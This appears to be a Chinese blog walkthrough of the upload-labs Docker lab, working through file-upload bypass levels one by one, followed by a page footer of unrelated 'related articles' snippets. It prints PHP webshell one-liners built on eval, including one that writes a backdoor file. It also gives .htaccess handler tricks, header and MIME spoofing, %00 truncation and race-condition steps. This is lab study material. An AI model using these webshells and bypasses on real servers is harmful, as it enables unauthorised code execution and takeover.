文件上传upload-labs-docker通关
(图片加载不出,说明被和谐了)
项目一:
sqlsec/ggctf-upload - Docker Image | Docker Hub
学习过程中,可以对照源码进行白盒分析.

补充:环境搭建在Linux虚拟机上的同时,以另一台Windows虚拟机进行测试最好。
本地机....容易被杀马。
项目二:
文件上传笔记 阶段一:
文件上传
[原生态、拓展类、安全框架类]
思维导图
核心 : 通过上传 尝试连接后门的攻击
# 必读:
一、文件解析的对应关系.
(图片中嵌入代码,但是由于解析关系一对一,使用只能解析成图片.)
[错误解析配置、解析漏洞时,才可行]二、 防护考虑
后缀、文件类型(文本类、图像类...)、文件内容等 语言版本、语言函数、中间件、第三方、存储逻辑、存储方案通用: 验证逻辑[函数先后、黑白名单等]、内容检测[文件类型、文件头]等# 原生态检测前端JS[反应快、] : 看源码>抓包判断[不经过直接报错,则说明∈JS]
后端PHP中间件 配置解析规则APache
[htaccess在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件]
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
方法一:创建.htaccess
内容:
<FilesMatch "\.jpg"> # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
</FilesMatch>或者:抓包修改: filename=.htaccess [文件为被限制类型php等/后端验证]内容:AddType application/x-httpd-php方法二:
filename[文件为被限制的php-后端验证.] = .htaccess
内容: AddType application/x-http-php .png .jpg ...https://blog.csdn.net/weixin_46684578/article/details/119141109user.ini文件类型 注:修改后缀名,改变的仅是文件类型,文件头并没有被修改.
图像类:
Content-Type: image/gif [gif]
Content-Type: image/png [png]
Content-Type: image/jpeg [jpg、jpeg]
Content-Type: image/bmp [.bmp]Content-Type: text/html [.html]
Content-Type: application/x-zip-compressed [.zip]
Content-Type: application/x-compressed [.rar]
Content-Type: application/x-msdownload [.exe]
Content-Type: application/pdf [.pdf]
Content-Type: application/msword [.doc]一句话木马文件类型:
Content-Type: application/octet-stream [.php、.asp、.jsp]
Content-Type: application/xml [.aspx]图像类文件头部特征码 :010编辑器头部标识.
GIF89a |GIF87a [gif]
GIF89a<?php eval($_POST["pass"]);其他的好像不行...
‰PNG [png]
ÿØÿ [jpg]
BM [.bmp]后缀通过文件头判断文件后缀
通过文件类型判断文件后缀
通过文件后缀判断文件后缀[黑名单、白名单]
黑名单:
[array("php","php5","php4","php3","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf"]
[,"jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");]%00截断 | url解码>>> 具体由浏览器解析决定(url自动解码、post手动)
条件 1.PHP版本5.3.4 2.模式开关访问即创建

<?php fputs(fopen('xiaodi.php','w'),'<?php eval($_REQUEST[1]);?>');?> # 访问即创建后门代码.一个一直访问,一个一直创建[相遇即产生----条件竞争]条件竞争[因为代码的执行逻辑,先上传,再判断>>>错误,所以导致条件竞争马产生]
[原理:因为再服务器短暂存在过]二次渲染
原理[让其更美好的显示--->代码会改变,所以需要通过对比,保留部分,进而写马]
问题: 文件包含漏洞
函数缺陷:
move_uploaded_file() ---> shell.php/. [自己指定时有重命名缺陷]二阶段
......
项目三
less-1 JavaScript 绕过

ctrl+u 查看页面源代码. 发现是前端验证.

方法一、浏览器禁用前端JS


方法二、bp抓包:


前端验证的特点:如上所见.
只有当文件格式正确时,才会进行上传到upload目录下.
所以,
提供思路: 在前端一开始,上传符合文件格式的后缀(图像类后缀.)
通过前端验证后,通过抓包进行修改。

验证:

less-2 解析上传

中间件解析错误、中间件漏洞导致文件上传安全问题.:
[原理:配置·文件解析错误,导致图像类型当作PHP类型执行.]
可以通过whatweb知晓也可通过浏览器插件:

在源码中,黑名单过滤而又没有过滤.htaccess:

网上查htaccess相关资料:
文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客
拓展 还有user.ini具体我不知道。。。
先上传.htaccess文件内容可以为:
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
创建.htaccess
内容:
<FilesMatch "\.jpg"> # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
</FilesMatch>或者:抓包修改: filename=.htaccess [/文件为被限制类型/后端验证]内容:AddType application/x-http-php .png ...
[创建]


[抓包] ---

错误示范--jpg--[抓包]


【不知道是哪儿问题[感觉网络连通性。。?],抓包,按理来说图像类,应该都可,但是jpg不可以,png可以。。。】
【这里推荐创建的方法,jpg、png都可以的.】
less-3 MIME绕过
【通过文件类型判断文件后缀】
方法一、
查看源码:

禁用JS上传,发现依旧连接不上。

猜测是,文件结构导致,进行抓包.修改.先上传1.png抓包过程中改回1.php
(因为Windows大小写不敏感,且通过文件后缀->文件头 标识文件类别.[图像类、音频类等],不过此题仅对文件类型进行判断.并没有对文件头进行判断.)
注:修改后缀名,改变的仅是文件类型,文件头并没有被修改.
文件头部特征码 :010编辑器头部标识.

验证:

less-4 文件头绕过.
【通过文件头判断文件后缀】
前置知识在less-2进行提到过.

所以这里需要修改两个地方:
一、上传符合后缀名,在抓包过程中进行修改.[匹配文件类型]
二、给文件内容中写入"文件头+填充"[匹配文件头.]
例子:


验证:

此外:其他图像类的好像...不太行。大概可能?gif文件头刚好位于可见字符?【求解惑...】
less-5 有缺陷的代码 1
【通过文件后缀判断文件后缀】
黑名单
白名单

ctrl+U看页面源码,发现验证逻辑在后端.
上传一个违规文件123.php并访问:

继续上传一个违规文件123.php%00并访问:

发现php被截断。
【可以猜测大致猜测是替换功能类的函数:问的豆妈,具体差异不论,只知晓具有replace功能.
str_replace () 函数、str_ireplace ()函数、preg_replace () 函数、substr_replace () 函数等
】
那么
上传一个文件123.pphphp并访问:【利用它的截断】

验证:

源码:

存在的一些安全问题: (这也是为什么pphphp能够上传的原因.)
【无递归、只检测一次、没有循环操作、且没有区分大小写[函数缺陷] 等】
str_ireplace () 和str_replace ()类似 但是不区分大小写【多个 i 就不区分大小写咯。。。】
less-6 有缺陷的代码 2(存在缺陷)

# 红色字体。 Windows特性.
很大概率考察的是
Windows 【文件后缀大小写不区分】
Linux 【文件后缀大小写区分】-----Linux以文件模式为主、文件头辅助去判断.不依靠文件后缀
上传违规文件 123.php 并访问

截断
上传文件 123.pphphp并访问:

填充字符 %20 也就是空格.
上传文件 12345.phP

额。。。翻车。。。【可能网络连通性吧...或者360改成不可执行权限了也可能我不会...】
不过不重要,知道有这个就行。
源码:

用上不过使用的是: str_replace () 大小写区分. phP就会绕过黑名单.
[Windows对大小写敏感]所以理论上会自行[- - 我的这种情况....没执行权限?...?]
less-7 古老的漏洞? 1
原理;因为php是基于C语言等基础开发而来.所以,C语言的缺陷在其他语言可能也会存在
一看就知道咯 —— %00截断.
条件:
- magic_quotes_gpc = Off
- PHP 版本小于 5.3.4 【主要】

操作:

访问图像地址:

因为实际上被我们的a.php%00进行截断了.
所以其实:

详细操作:
【以1.php作为演示.】
抓包并进行重放并查看php版本:


发现上传失败,文件类型不匹配,但是php版本匹配。
修改文件后缀.发现上传成功.且进行了重命名.


使用aaa.php%00进行截断
未截断前:

截断后:


再次说明原理:
简单来说,即是使基于重命名的缺陷。使aaa.php%00截断了原本的重命名.重新以aaa.php命名
(用于验证: 1.jpg用 xxx.php%00截断命名.


总结:语言版本而造成的上传安全漏洞。
less-8 古老的漏洞? 2

同 30007关类似
不一样的点:

上传目录在POST内容之中,而不是在POST标头中。
操作方法一致,但需要进行URL编码操作.
【标头自带URL解码、但内容中需要先解码才行.---->对%00进行解码操作操作。】
咳咳咳,失误示范:(1.php->1.png ...)


修改好之后:


总结: 与7一样。需要知晓%00位于不同位置的处理.
less-9 黑名单缺陷。

首先需要知道 黑名单和白名单的区别:
黑名单:包含在内都排除。
白名单:不包含在内都排除。
【因为靶场,已经告知是PHP黑名单缺陷】那么,根据此,可以直接使用bp PHP字典爆破去跑。



太多了,。。。打完恢复快照。。。 - -
less-10 条件竞争

原理基于代码逻辑错误:先上传再验证最后再是否留下。
虽然,实际存在时间非常短暂,但攻击者可以通过bp攻击模块进行--->卡bug。
即:一个数据包一直设置创建后门,另一个文件一直访问该文件创建的后门。同时进行。
古语讲:" 金蝉脱壳 "
的那种感觉。。。
复现:
一、先准备不断访问的数据包。

通过抓包得到,发送到intruder模块.

条件设置.

二、后门创建文件代码
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
通过抓包得到,发送到intruder模块.(同上)

条件设置.(同上)
同时进行:
GO!
人工:
http://192.168.117.140:30010/upload/xiao.php # F5不断刷新.
bp:


- -

对不起,我不配。get不出来。。。T^T
less-11 二次渲染(存在缺陷.)

即:上传的文件会被网站进行二次操作。
参考。
【文件上传绕过】——二次渲染漏洞_二次渲染绕过-CSDN博客
对比文件即可:
.....

.......



.........
不会,,,
其实我有疑惑.....文件后缀、文件类型、文件格式都没改、仅在文件编辑中添加webshell怎么可能执行.....或许我哪儿错了...(想明白了再补.)
less-12 move_uploaded_file 绕过

函数缺陷:
move_uploaded_file() ---> shell.php/. [自己指定时有重命名缺陷]


less-13 代码审计(待补.)
不想做了.

(待补)
相关文章:
文件上传upload-labs-docker通关
(图片加载不出,说明被和谐了) 项目一: sqlsec/ggctf-upload - Docker Image | Docker Hub 学习过程中,可以对照源码进行白盒分析. 补充:环境搭建在Linux虚拟机上的同时,以另一台Windows虚拟机进行测试最…...
git(Linux)
1.git 三板斧 基本准备工作: 把远端仓库拉拉取到本地了 .git --> 本地仓库 git在提交的时候,只会提交变化的部分 就可以在当前目录下新增代码了 test.c 并没有被仓库管理起来 怎么添加? 1.1 git add test.c 也不算完全添加到仓库里面&…...
Doris实战—构建日志存储与分析平台
构建日志存储与分析平台 日志是系统运行的详细记录,包含各种事件发生的主体、时间、位置、内容等关键信息。出于运维可观测、网络安全监控及业务分析等多重需求,企业通常需要将分散的日志采集起来,进行集中存储、查询和分析,以进一步从日志数据里挖掘出有价值的内容。 针…...
【vue3+Typescript】unapp+stompsj模式下替代plus-websocket的封装模块
由于plus-websocket实测存在消息丢失的问题,只能寻找替代的方案,看文章说使用原生的即可很好的工作。而目前在stompjs里需要使用websocket类型的封装模块,看了下原来提供的接口,采用uniapp原生的websocket模式,对原模块…...
Tcon技术和Tconless技术介绍
文章目录 TCON技术(传统时序控制器)定义:主要功能:优点:缺点: TCONless技术(无独立时序控制器)定义:工作原理:优点:缺点: TCON与TCONl…...
C#-利用反射自动绑定请求标志类和具体执行命令类
文章速览 概述例程请求类命名空间父类示例子类示例 命令类命名空间子类示例 记录的数据结构实现绑定方法 坚持记录实属不易,希望友善多金的码友能够随手点一个赞。 共同创建氛围更加良好的开发者社区! 谢谢~ 概述 需求: 将指定的两种类型的…...
高中数学练习:初探均值换元法
文章目录 1. 均值换元法定义2. 均值换元法优点3. 均值换元法应用4. 均值换元法示例4.1 求解分式方程4.2 求解指数方程4.3 计算最大值 5. 实战小结 1. 均值换元法定义 均值换元法是一种数学技巧,通过引入新变量 t t t将两个变量 x x x和 y y y表示为它们的平均值加上…...
数据结构单链表,顺序表,广义表,多重链表,堆栈的学习
单链表 比如一个多项式,主要包括x的系数,x的指数,那么可以创建一个一维数组来存储它的系数和指数,用数组下标来表示。它的系数可以用数组下标对应的数组元素来储存。 可是这样储存会浪费空间所以采用单链表形式来存储。 即创建一…...
【保姆级教程】使用lora微调LLM并在truthfulQA数据集评估(Part 2.在truthfulQA上评估LLM)
上一期我们成功用lora微调了一个模型传送门,怎样评估模型呢?目前LLM没有一个统一的BENCHMARK。我们今天选用truthfulQA。 truthfulQA数据集格式如下所示 {question: What is the smallest country in the world that is at least one square mile in ar…...
thinkphp中对请求封装
请求的封装 //调用 $res Http::post($this->baseUrl . $url,$params,[CURLOPT_HTTPHEADER > [Content-Type: application/json,Content-Length: . strlen($params),],]);<?php namespace fast; /*** 字符串类*/ class Http {/*** 发送一个POST请求*/public static …...
leetcode hot100【LeetCode 215.数组中的第K个最大元素】java实现
LeetCode 215.数组中的第K个最大元素 题目描述 给定一个整数数组 nums 和一个整数 k,请返回数组中第 k 个最大的元素。 请注意,要求排名是从大到小的,因此第 k 个最大元素是排序后的第 k 个元素。你需要设计一个高效的算法来解决这个问题。…...
簡單易懂:如何在Windows系統中修改IP地址?
無論是為了連接到一個新的網路,還是為了解決網路連接問題,修改IP地址都是一個常見的操作。本文將詳細介紹如何在Windows系統中修改IP地址,包括靜態IP地址的設置和動態IP地址的獲取。 IP地址是什麼? IP地址是互聯網協議地址的簡稱…...
Python中的23种设计模式:详细分类与总结
设计模式是解决特定问题的通用方法,分为创建型模式、结构型模式和行为型模式三大类。以下是对每种模式的详细介绍,包括其核心思想、应用场景和优缺点。 一、创建型模式(Creational Patterns) 创建型模式关注对象的创建࿰…...
日历使用及汉化——fullcalendar前端
官网 FullCalendar - JavaScript Event Calendar 引入项目 <link hrefhttps://cdnjs.cloudflare.com/ajax/libs/fullcalendar/5.10.1/main.min.css relstylesheet /><script srchttps://cdnjs.cloudflare.com/ajax/libs/fullcalendar/5.10.1/main.min.js></sc…...
视频截断,使用 FFmpeg
使用 FFmpeg 截取视频并去掉 5 分 49 秒后的内容,可以使用以下命令: ffmpeg -i input.mp4 -t 00:05:49 -c:v libx264 -crf 23 -preset medium -c:a aac -b:a 192k output.mp4-i input.mp4: 指定输入视频文件 input.mp4。 -t 00:05:49&#x…...
使用系统内NCCL环境重新编译Pytorch
intro: 费了老大劲,来重新编译pytorch,中间报了无数错误。原生的编译好的pytorch是直接用的其自带NCCL库,并且从外部是不能进行插桩的,因为根本找不到libnccl.so文件。下面记录下重新编译pytorch的过程。指定USE_SYSTEM_NCCL1。这…...
1. Klipper从安装到运行
本文记录Klipper固件从安装,配置到运行的详细过程 Klipper是3D打印机固件之一,它通常运行在linux系统(常使用Debian,其它的linux版本也可以)上,因此需要一个能运行Linux系统的硬件,比如电脑&am…...
docker 卸载与安装
卸载 查询之前安装的docker, 没有查到则不用卸载删除 yum list installed | grep docker 卸载安装包 yum remove docker-* -y 删除镜像、容器、默认挂载卷 rm -rf /var/lib/docker 安装 -ce 安装稳定版本 -y 当安装过程提示选择全部为 "yes" yum install d…...
跨部门文件共享安全:平衡协作与风险的关键策略
在现代企业中,跨部门协作已成为推动业务发展的关键因素。然而,随着信息的自由流动和共享,文件安全风险也随之增加。如何在促进跨部门协作的同时,确保文件共享的安全性,成为了一个亟待解决的问题。 一、明确文件分类与…...
基于单片机的智慧小区人脸识别门禁系统
本设计基于单片机的智慧小区人脸识别门禁系统。由STM32F103C8T6单片机核心板、显示模块、摄像头模块、舵机模块、按键模块和电源模块组成。可以通过摄像头模块对进入人员人脸数据进行采集,识别成功后,舵机模块动作,模拟门禁打开,门…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】,分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...
毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...
【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL
ETABS API实战:导出框架元素数据到Excel 在结构工程师的日常工作中,经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时,还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么? 一键点击,就能将ETABS中所有框架元素的基…...
高端性能封装正在突破性能壁垒,其芯片集成技术助力人工智能革命。
2024 年,高端封装市场规模为 80 亿美元,预计到 2030 年将超过 280 亿美元,2024-2030 年复合年增长率为 23%。 细分到各个终端市场,最大的高端性能封装市场是“电信和基础设施”,2024 年该市场创造了超过 67% 的收入。…...
qt+vs Generated File下的moc_和ui_文件丢失导致 error LNK2001
qt 5.9.7 vs2013 qt add-in 2.3.2 起因是添加一个新的控件类,直接把源文件拖进VS的项目里,然后VS卡住十秒,然后编译就报一堆 error LNK2001 一看项目的Generated Files下的moc_和ui_文件丢失了一部分,导致编译的时候找不到了。因…...
【PX4飞控】mavros gps相关话题分析,经纬度海拔获取方法,卫星数锁定状态获取方法
使用 ROS1-Noetic 和 mavros v1.20.1, 携带经纬度海拔的话题主要有三个: /mavros/global_position/raw/fix/mavros/gpsstatus/gps1/raw/mavros/global_position/global 查看 mavros 源码,来分析他们的发布过程。发现前两个话题都对应了同一…...
